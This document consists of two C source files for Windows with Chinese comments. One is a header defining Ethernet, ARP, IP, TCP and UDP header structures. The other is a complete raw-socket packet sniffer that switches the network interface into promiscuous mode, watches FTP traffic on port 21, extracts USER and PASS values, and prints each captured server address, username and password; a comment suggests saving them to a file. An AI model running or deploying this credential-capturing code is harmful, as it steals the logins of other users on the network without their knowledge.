protoinfo.hwindows
////////////////////////////////////////////////// // protoinfo.h文件 /* 定義協議格式 定義協議中使用的宏 */ #ifndef __PROTOINFO_H__ #define __PROTOINFO_H__ #define ETHERTYPE_IP 0x0800 #define ETHERTYPE_ARP 0x0806 typedef struct _ETHeader // 14字節的以太頭 { UCHAR dhost[6]; // 目的MAC地址destination mac address UCHAR shost[6]; // 源MAC地址source mac address USHORT type; // 下層協議類型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等 } ETHeader, *PETHeader; #define ARPHRD_ETHER 1 // ARP協議opcodes #define ARPOP_REQUEST 1 // ARP 請求 #define ARPOP_REPLY 2 // ARP 響應 typedef struct _ARPHeader // 28字節的ARP頭 { USHORT hrd; // 硬件地址空間,以太網中爲ARPHRD_ETHER USHORT eth_type; // 以太網類型,ETHERTYPE_IP ?? UCHAR maclen; // MAC地址的長度,爲6 UCHAR iplen; // IP地址的長度,爲4 USHORT opcode; // 操做代碼,ARPOP_REQUEST爲請求,ARPOP_REPLY爲響應 UCHAR smac[6]; // 源MAC地址 UCHAR saddr[4]; // 源IP地址 UCHAR dmac[6]; // 目的MAC地址 UCHAR daddr[4]; // 目的IP地址 } ARPHeader, *PARPHeader; // 協議 #define PROTO_ICMP 1 #define PROTO_IGMP 2 #define PROTO_TCP 6 #define PROTO_UDP 17 typedef struct _IPHeader // 20字節的IP頭 { UCHAR iphVerLen; // 版本號和頭長度(各佔4位) UCHAR ipTOS; // 服務類型 USHORT ipLength; // 封包總長度,即整個IP報的長度 USHORT ipID; // 封包標識,唯一標識發送的每個數據報 USHORT ipFlags; // 標誌 UCHAR ipTTL; // 生存時間,就是TTL UCHAR ipProtocol; // 協議,多是TCP、UDP、ICMP等 USHORT ipChecksum; // 校驗和 ULONG ipSource; // 源IP地址 ULONG ipDestination; // 目標IP地址 } IPHeader, *PIPHeader; // 定義TCP標誌 #define TCP_FIN 0x01 #define TCP_SYN 0x02 #define TCP_RST 0x04 #define TCP_PSH 0x08 #define TCP_ACK 0x10 #define TCP_URG 0x20 #define TCP_ACE 0x40 #define TCP_CWR 0x80 typedef struct _TCPHeader // 20字節的TCP頭 { USHORT sourcePort; // 16位源端口號 USHORT destinationPort; // 16位目的端口號 ULONG sequenceNumber; // 32位序列號 ULONG acknowledgeNumber; // 32位確認號 UCHAR dataoffset; // 高4位表示數據偏移 UCHAR flags; // 6位標誌位 //FIN - 0x01 //SYN - 0x02 //RST - 0x04 //PUSH- 0x08 //ACK- 0x10 //URG- 0x20 //ACE- 0x40 //CWR- 0x80 USHORT windows; // 16位窗口大小 USHORT checksum; // 16位校驗和 USHORT urgentPointer; // 16位緊急數據偏移量 } TCPHeader, *PTCPHeader; typedef struct _UDPHeader { USHORT sourcePort; // 源端口號 USHORT destinationPort;// 目的端口號 USHORT len; // 封包長度 USHORT checksum; // 校驗和 } UDPHeader, *PUDPHeader; #endif // __PROTOINFO_H__
#include <winsock2.h> #include <stdio.h> #include <mstcpip.h> #include "../common/protoinfo.h" #pragma comment(lib, "WS2_32.lib") #pragma comment(lib, "Advapi32.lib") void GetFtp(char *pData, DWORD dwDestIp) { char szBuf[256]; static char szUserName[21]; static char szPassword[21]; if(strnicmp(pData, "USER ", 5) == 0) { sscanf(pData + 4, "%*[ ]%s", szUserName); } else if(strnicmp(pData, "PASS ", 5) == 0) { sscanf(pData + 4, "%*[ ]%s", szPassword); wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n", ::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword); printf(szBuf); // 這裏您能夠將它保存到文件中 } } void DecodeIPPacket(char *pData) { IPHeader *pIPHdr = (IPHeader*)pData; int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG); switch(pIPHdr->ipProtocol) { case IPPROTO_TCP: { TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen); switch(::ntohs(pTCPHdr->destinationPort)) { case 21: // ftp協議 { GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination); } break; case 80: // http協議... case 8080: break; } } break; case IPPROTO_UDP: break; case IPPROTO_ICMP: break; } } void main() { WSADATA wsaData; WORD sockVersion = MAKEWORD(2, 0); WSAStartup(sockVersion, &wsaData); // 建立原始套節字 SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP); // 獲取本地IP地址 char szHostName[56]; SOCKADDR_IN addr_in; struct hostent *pHost; gethostname(szHostName, 56); if((pHost = gethostbyname((char*)szHostName)) == NULL) return ; // 在調用ioctl以前,套節字必須綁定 addr_in.sin_family = AF_INET; addr_in.sin_port = htons(0); memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length); printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr)); if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR) return; // 設置SIO_RCVALL控制代碼,以便接收全部的IP包 DWORD dwValue = 1; if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0) return ; // 開始接收封包 printf(" \n\n begin to monitor ftp password... \n\n"); char buff[1024]; int nRet; while(TRUE) { nRet = recv(sRaw, buff, 1024, 0); if(nRet > 0) { DecodeIPPacket(buff); } } closesocket(sRaw); WSACleanup(); return; }